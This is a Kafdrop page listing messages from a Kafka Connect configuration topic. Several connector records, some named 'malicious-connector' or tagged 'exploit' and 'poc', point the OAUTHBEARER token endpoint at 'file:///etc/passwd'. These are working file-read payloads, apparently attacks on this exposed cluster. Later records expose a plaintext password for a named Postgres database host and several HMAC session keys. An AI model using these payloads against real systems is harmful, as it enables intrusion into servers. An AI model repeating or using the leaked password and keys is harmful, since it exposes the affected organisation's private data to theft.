Kafdrop: Topic: debezium_connect

Partition: 0 Offset: 489 Key: task-test-connector-34ApCfgSGj68h9BdKcpwSbetgw1-0 Timestamp: 2025-10-17 02:08:22.528 Headers: empty

{"properties":{"connector.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatConnector","tasks.max":"1","source.cluster.alias":"source-0","source.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","target.cluster.alias":"target-0","producer.override.sasl.login.callback.handler.class":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginCallbackHandler","task.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatTask","name":"test-connector-34ApCfgSGj68h9BdKcpwSbetgw1","target.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.jaas.config":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required serviceName=\"exploit\";","producer.override.sasl.mechanism":"OAUTHBEARER","value.converter":"org.apache.kafka.connect.converters.ByteArrayConverter","key.converter":"org.apache.kafka.connect.converters.ByteArrayConverter"}}

Partition: 0 Offset: 490 Key: commit-test-connector-34ApCfgSGj68h9BdKcpwSbetgw1 Timestamp: 2025-10-17 02:08:22.530 Headers: empty

{"tasks":1}

Partition: 0 Offset: 739 Key: task-test-connector-34dtkGF7MS87nZvVCsrF7Sh2Jb5-0 Timestamp: 2025-10-27 09:09:52.728 Headers: empty

{"properties":{"connector.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatConnector","tasks.max":"1","source.cluster.alias":"source-0","source.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","target.cluster.alias":"target-0","producer.override.sasl.login.callback.handler.class":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginCallbackHandler","task.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatTask","name":"test-connector-34dtkGF7MS87nZvVCsrF7Sh2Jb5","target.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.jaas.config":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required serviceName=\"exploit\";","producer.override.sasl.mechanism":"OAUTHBEARER","value.converter":"org.apache.kafka.connect.converters.ByteArrayConverter","key.converter":"org.apache.kafka.connect.converters.ByteArrayConverter"}}

Partition: 0 Offset: 740 Key: commit-test-connector-34dtkGF7MS87nZvVCsrF7Sh2Jb5 Timestamp: 2025-10-27 09:09:52.730 Headers: empty

{"tasks":1}

Partition: 0 Offset: 742 Key: task-test-connector-34duxfqUJSWgoIuJsXDSB9f0DvI-0 Timestamp: 2025-10-27 09:19:51.272 Headers: empty

{"properties":{"connector.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatConnector","tasks.max":"1","source.cluster.alias":"source-0","source.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","target.cluster.alias":"target-0","producer.override.sasl.login.callback.handler.class":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginCallbackHandler","task.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatTask","name":"test-connector-34duxfqUJSWgoIuJsXDSB9f0DvI","target.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.jaas.config":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required serviceName=\"exploit\";","producer.override.sasl.mechanism":"OAUTHBEARER","value.converter":"org.apache.kafka.connect.converters.ByteArrayConverter","key.converter":"org.apache.kafka.connect.converters.ByteArrayConverter"}}

Partition: 0 Offset: 743 Key: commit-test-connector-34duxfqUJSWgoIuJsXDSB9f0DvI Timestamp: 2025-10-27 09:19:51.274 Headers: empty

{"tasks":1}

Partition: 0 Offset: 1019 Key: task-malicious-connector1122-0 Timestamp: 2025-11-07 03:22:05.895 Headers: empty

{"properties":{"connector.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatConnector","tasks.max":"1","source.cluster.alias":"source-0","source.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","target.cluster.alias":"target-0","producer.override.sasl.login.callback.handler.class":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginCallbackHandler","task.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatTask","name":"malicious-connector1122","target.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.jaas.config":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required serviceName=\"exploit\";","producer.override.sasl.mechanism":"OAUTHBEARER","value.converter":"org.apache.kafka.connect.converters.ByteArrayConverter","key.converter":"org.apache.kafka.connect.converters.ByteArrayConverter"}}

Partition: 0 Offset: 1020 Key: commit-malicious-connector1122 Timestamp: 2025-11-07 03:22:05.896 Headers: empty

{"tasks":1}

Partition: 0 Offset: 1240 Key: task-malicious-connector9-0 Timestamp: 2025-11-16 05:45:34.333 Headers: empty

{"properties":{"connector.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatConnector","tasks.max":"1","source.cluster.alias":"source-0","source.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","target.cluster.alias":"target-0","producer.override.sasl.login.callback.handler.class":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginCallbackHandler","task.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatTask","name":"malicious-connector9","target.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.jaas.config":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required serviceName=\"exploit\";","producer.override.sasl.mechanism":"OAUTHBEARER","value.converter":"org.apache.kafka.connect.converters.ByteArrayConverter","key.converter":"org.apache.kafka.connect.converters.ByteArrayConverter"}}

Partition: 0 Offset: 1241 Key: commit-malicious-connector9 Timestamp: 2025-11-16 05:45:34.334 Headers: empty

{"tasks":1}

Partition: 0 Offset: 1368 Key: task-squtest-0 Timestamp: 2025-11-21 07:11:57.602 Headers: empty

{"properties":{"connector.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatConnector","producer.override.sasl.oauthbearer.scope.claim.name":"xx","tasks.max":"1","source.cluster.alias":"source-0","producer.override.sasl.oauthbearer.sub.claim.name":"bb","producer.override.security.protocol":"SASL_SSL","source.cluster.bootstrap.servers":"127.0.0.1:9092","producer.override.sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","target.cluster.alias":"target-0","producer.override.sasl.login.callback.handler.class":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginCallbackHandler","task.class":"org.apache.kafka.connect.mirror.MirrorHeartbeatTask","name":"squtest","target.cluster.bootstrap.servers":"127.0.0.1:9092","topic":"my-topic","producer.override.sasl.jaas.config":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required serviceName=\"poc\";","value.converter":"org.apache.kafka.connect.converters.ByteArrayConverter","producer.override.sasl.mechanism":"OAUTHBEARER","key.converter":"org.apache.kafka.connect.converters.ByteArrayConverter"}}

Partition: 0 Offset: 1369 Key: commit-squtest Timestamp: 2025-11-21 07:11:57.604 Headers: empty

{"tasks":1}

Partition: 0 Offset: 6543 Key: connector-postgres-debezium-connector Timestamp: 2026-06-21 21:33:14.452 Headers: empty

{"properties":{"connector.class":"io.debezium.connector.postgresql.PostgresConnector","publication.autocreate.mode":"filtered","database.dbname":"sucessoapp","database.user":"postgres","max.queue.size":"16384","slot.name":"debezium","slot.drop.on.stop":"false","heartbeat.interval.ms":"5000","plugin.name":"pgoutput","key.converter.schemas.enable":"false","topic.prefix":"bytea","heartbeat.action.query":"INSERT INTO public.debezium_heartbeat (id, last_heartbeat) VALUES (1, NOW()) ON CONFLICT (id) DO UPDATE SET last_heartbeat = EXCLUDED.last_heartbeat;","database.hostname":"dev-sucessoapp.cmjegois0mi2.us-east-1.rds.amazonaws.com","database.password":"A75]|#m!*KE.f8[oELq*hvPo4|0m","database.port":"5432","poll.interval.ms":"500","value.converter.schemas.enable":"false","name":"postgres-debezium-connector","table.include.list":"guides.external_composers,billing.psp_charge_history,chat.conversation_messages,clicksign.users_documents,sale.sale_approvals,clicksign.users_documents,sale.sale_approvals,public.debezium_heartbeat","max.batch.size":"8192","value.converter":"org.apache.kafka.connect.json.JsonConverter","key.converter":"org.apache.kafka.connect.json.JsonConverter","snapshot.mode":"never"}}

Partition: 0 Offset: 6544 Key: task-postgres-debezium-connector-0 Timestamp: 2026-06-21 21:33:14.457 Headers: empty

{"properties":{"connector.class":"io.debezium.connector.postgresql.PostgresConnector","publication.autocreate.mode":"filtered","database.dbname":"sucessoapp","database.user":"postgres","max.queue.size":"16384","slot.name":"debezium","slot.drop.on.stop":"false","heartbeat.interval.ms":"5000","plugin.name":"pgoutput","database.port":"5432","key.converter.schemas.enable":"false","topic.prefix":"bytea","heartbeat.action.query":"INSERT INTO public.debezium_heartbeat (id, last_heartbeat) VALUES (1, NOW()) ON CONFLICT (id) DO UPDATE SET last_heartbeat = EXCLUDED.last_heartbeat;","task.class":"io.debezium.connector.postgresql.PostgresConnectorTask","database.hostname":"dev-sucessoapp.cmjegois0mi2.us-east-1.rds.amazonaws.com","database.password":"A75]|#m!*KE.f8[oELq*hvPo4|0m","poll.interval.ms":"500","value.converter.schemas.enable":"false","name":"postgres-debezium-connector","table.include.list":"guides.external_composers,billing.psp_charge_history,chat.conversation_messages,clicksign.users_documents,sale.sale_approvals,clicksign.users_documents,sale.sale_approvals,public.debezium_heartbeat","max.batch.size":"8192","value.converter":"org.apache.kafka.connect.json.JsonConverter","key.converter":"org.apache.kafka.connect.json.JsonConverter","snapshot.mode":"never"}}

Partition: 0 Offset: 6545 Key: commit-postgres-debezium-connector Timestamp: 2026-06-21 21:33:14.459 Headers: empty

{"tasks":1}

Partition: 0 Offset: 10026 Key: session-key Timestamp: 2026-11-13 21:49:37.472 Headers: empty

{"key":"hgohNarCZqKYwEruc1iFobJ1I5/NwUPByhbqHJCFtjI=","algorithm":"HmacSHA256","creation-timestamp":1794606577472}

Partition: 0 Offset: 10027 Key: session-key Timestamp: 2026-11-13 22:49:37.473 Headers: empty

{"key":"zR1hO/Gpf2Za6KqBGhtr0SMeh4HsvYMJa/dx/aEqSYo=","algorithm":"HmacSHA256","creation-timestamp":1794610177472}

Partition: 0 Offset: 10028 Key: session-key Timestamp: 2026-11-13 23:49:37.472 Headers: empty

{"key":"bF1KUUUAPIUfSSiYBfiJMFdx4vxA9iGjAuosa2r+UDo=","algorithm":"HmacSHA256","creation-timestamp":1794613777472}

Partition: 0 Offset: 10029 Key: session-key Timestamp: 2026-11-14 00:49:37.473 Headers: empty

{"key":"rt5HMzE9/zqqwoQElQFSMQ5RxMutrUkPbPkJ+rTF09U=","algorithm":"HmacSHA256","creation-timestamp":1794617377472}

Partition: 0 Offset: 10030 Key: session-key Timestamp: 2026-11-14 01:49:37.473 Headers: empty

{"key":"g418SIJMAm+yltGqUNwau3FZFCqukXq+a9kUTT9wIEs=","algorithm":"HmacSHA256","creation-timestamp":1794620977472}

Kafdrop

Topic Messages: debezium_connect_configs